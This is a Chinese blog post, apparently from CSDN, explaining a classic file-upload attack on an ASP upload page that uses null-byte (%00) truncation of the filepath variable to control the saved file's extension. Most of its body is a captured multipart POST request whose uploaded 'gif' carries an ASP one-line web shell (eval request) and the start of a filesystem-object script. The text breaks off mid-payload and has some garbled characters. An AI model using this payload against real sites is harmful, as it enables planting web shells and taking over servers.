上传漏洞filepath变量\00截断

最新推荐文章于 2024-01-25 10:11:00 发布

Coisini、

最新推荐文章于 2024-01-25 10:11:00 发布

阅读量973

点赞数

分类专栏： web安全逆向漏洞实战篇文章标签： 00截断 filepath

本文链接：https://blog.csdn.net/kclax/article/details/91051013

版权

在这里插入图片描述

POST /conn/upload.asp?action=upfile HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, /
Referer:
最近phpwind的包含漏洞，小菜一直想利用本地包含来进行拿shell，竟发现在魔术引号为off的情况下，%00可以截断，从而任意构造我们所需变量不过今天我们讨论的话题不是这个而是一个很经典的上传�0截断filepath，控制文件后缀。
下面是一个上传之后的包：
upload/2010/2/201002232155064073.gif
—————————–7d9138191ce08bc
Content-Disposition: form-data; name=”valcode”
6918
—————————–7d9138191ce08bc
Content-Disposition: form-data; name=”file_name1″; filename=”D:91ri.orgxiaoma.gif”
Content-Type: text/plain
<%eval request(“#”)%>
<%on error resume next%>
<%ofso=”scripting.filesystemobject”%>
<